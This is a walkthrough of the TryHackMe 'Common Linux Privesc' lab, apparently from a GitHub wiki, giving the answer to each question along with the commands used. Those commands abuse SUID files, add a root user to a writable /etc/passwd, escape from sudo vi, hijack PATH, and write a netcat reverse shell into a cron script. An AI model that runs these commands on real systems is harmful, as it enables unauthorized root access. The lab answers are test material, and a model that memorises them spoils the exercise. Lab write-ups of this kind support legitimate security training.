THM Common Linux Privesc - grunt92/IT-Sec-WriteUps GitHub Wiki

Get Connected

Deploy the machine

No answer needed

Understanding Privesc

Read the information about privilege escalation

No answer needed

Direction of Privelege Escalation

Understand the difference between Horizontal and Vertical privilege escalation.

No answer needed

Enumeration

First, lets SSH into the target machine, using the credentials user3:password. This is to simulate getting a foothold on the system as a normal privilege user.

Use ssh user3@IP and enter the password when prompted to connect to the machine.

No answer needed

What is the target's hostname?

Run uname -n on the machine and you get the information.

polobox

Look at the output of /etc/passwd how many "user[x]" are there on the system?

Run cat /etc/passwd to get the information.

8

How many available shells are on the system?

Run cat /etc/shells to get the information.

4

What is the name of the bash script that is set to run every 5 minutes by cron?

Run cat /etc/crontab to get the information

autoscript.sh

What critical file has had its permissions changed to allow some users to write to it?

You can run ls -l in the "/etc"-directory to see the permissions on the individual files and directories. By doing so you can see that the "passwd"-file has a writing permission for the current user.

/etc/passwd

Well done! Bear the results of the enumeration stage in mind as we continue to exploit the system!

No answer needed

Abusing SUID/GUID Files

What is the path of the file in user3's directory that stands out to you?

/home/user3/shell

We know that "shell" is an SUID bit file, therefore running it will run the script as a root user! Lets run it!
We can do this by running: "./shell"

No answer needed

Congratulations! You should now have a shell as root user, well done!

No answer needed

Exploiting Writable /etc/passwd

First, let's exit out of root from our previous task by typing "exit". Then use "su" to swap to user7, with the password "password"

Run su user7 and enter the password when prompted.

No answer needed

Having read the information above, what direction privilege escalation is this attack?

vertical

Before we add our new user, we first need to create a compliant password hash to add! We do this by using the command: "openssl passwd -1 -salt [salt] [password]"
What is the hash created by using this command with the salt, "new" and the password "123"?

While being logged in as user3 run openssl passwd -1 -salt new 123.

$1$new$p7ptkEKU1HnaHpRtzNizS1

Great! Now we need to take this value, and create a new root user account. What would the /etc/passwd entry look like for a root user with the username "new" and the password hash we created before?

new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash

Great! Now you've got everything you need. Just add that entry to the end of the /etc/passwd file!

Switch to user7, run nano /etc/passwd and append the entry.

No answer needed

Now, use "su" to login as the "new" account, and then enter the password. If you've done everything correctly- you should be greeted by a root prompt! Congratulations!

Run su new.

No answer needed

Escaping Vi Editor

First, let's exit out of root from our previous task by typing "exit". Then use "su" to swap to user8, with the password "password"

No answer needed

Let's use the "sudo -l" command, what does this user require (or not require) to run vi as root?

NOPASSWD

So, all we need to do is open vi as root, by typing "sudo vi" into the terminal.

No answer needed

Now, type ":!sh" to open a shell!

No answer needed

Exploiting Crontab

First, let's exit out of root from our previous task by typing "exit". Then use "su" to swap to user4, with the password "password"

No answer needed

Now, on our host machine- let's create a payload for our cron exploit using msfvenom.

No answer needed

What is the flag to specify a payload in msfvenom?

-p

Create a payload using: "msfvenom -p cmd/unix/reverse_netcat lhost=LOCALIP lport=8888 R"

No answer needed

What directory is the "autoscript.sh" under?

Run cat /etc/crontab. /home/user4/Desktop

Lets replace the contents of the file with our payload using: "echo [MSFVENOM OUTPUT] > autoscript.sh"

Make sure that you are user4 and run `echo "mkfifo /tmp/etojjmo; nc 10.9.3.11 4444 0</tmp/etojjmo | /bin/sh >/tmp/etojjmo 2>&1; rm /tmp/etojjmo" > /home/user4/Desktop/autoscript.sh.

No answer needed

After copying the code into autoscript.sh file we wait for cron to execute the file, and start our netcat listener using: "nc -lvnp 8888" and wait for our shell to land!

No answer needed

After about 5 minutes, you should have a shell as root land in your netcat listening session! Congratulations!

No answer needed

Exploiting PATH Variable

Going back to our local ssh session, not the netcat root session, you can close that now, let's exit out of root from our previous task by typing "exit". Then use "su" to swap to user5, with the password "password"

No answer needed

Let's go to user5's home directory, and run the file "script". What command do we think that it's executing?

ls

Now we know what command to imitate, let's change directory to "tmp".

No answer needed

Now we're inside tmp, let's create an imitation executable. The format for what we want to do is:
echo "[whatever command we want to run]" > [name of the executable we're imitating]
What would the command look like to open a bash shell, writing to a file with the name of the executable we're imitating

echo "/bin/bash">>ls

Great! Now we've made our imitation, we need to make it an executable. What command do we execute to do this?

chmod +x ls

Now, we need to change the PATH variable, so that it points to the directory where we have our imitation "ls" stored! We do this using the command "export PATH=/tmp:$PATH"
Note, this will cause you to open a bash prompt every time you use "ls". If you need to use "ls" before you finish the exploit, use "/bin/ls" where the real "ls" executable is.
Once you've finished the exploit, you can exit out of root and use "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:$PATH" to reset the PATH variable back to default, letting you use "ls" again!

No answer needed

Now, change directory back to user5's home directory.

Run cd /home/user5

No answer needed

Now, run the "script" file again, you should be sent into a root bash prompt! Congratulations!

Run ./script to gain the shell.

No answer needed

Expanding Your Knowledge

Well done, you did it!

No answer needed

⚠️ **GitHub.com Fallback** ⚠️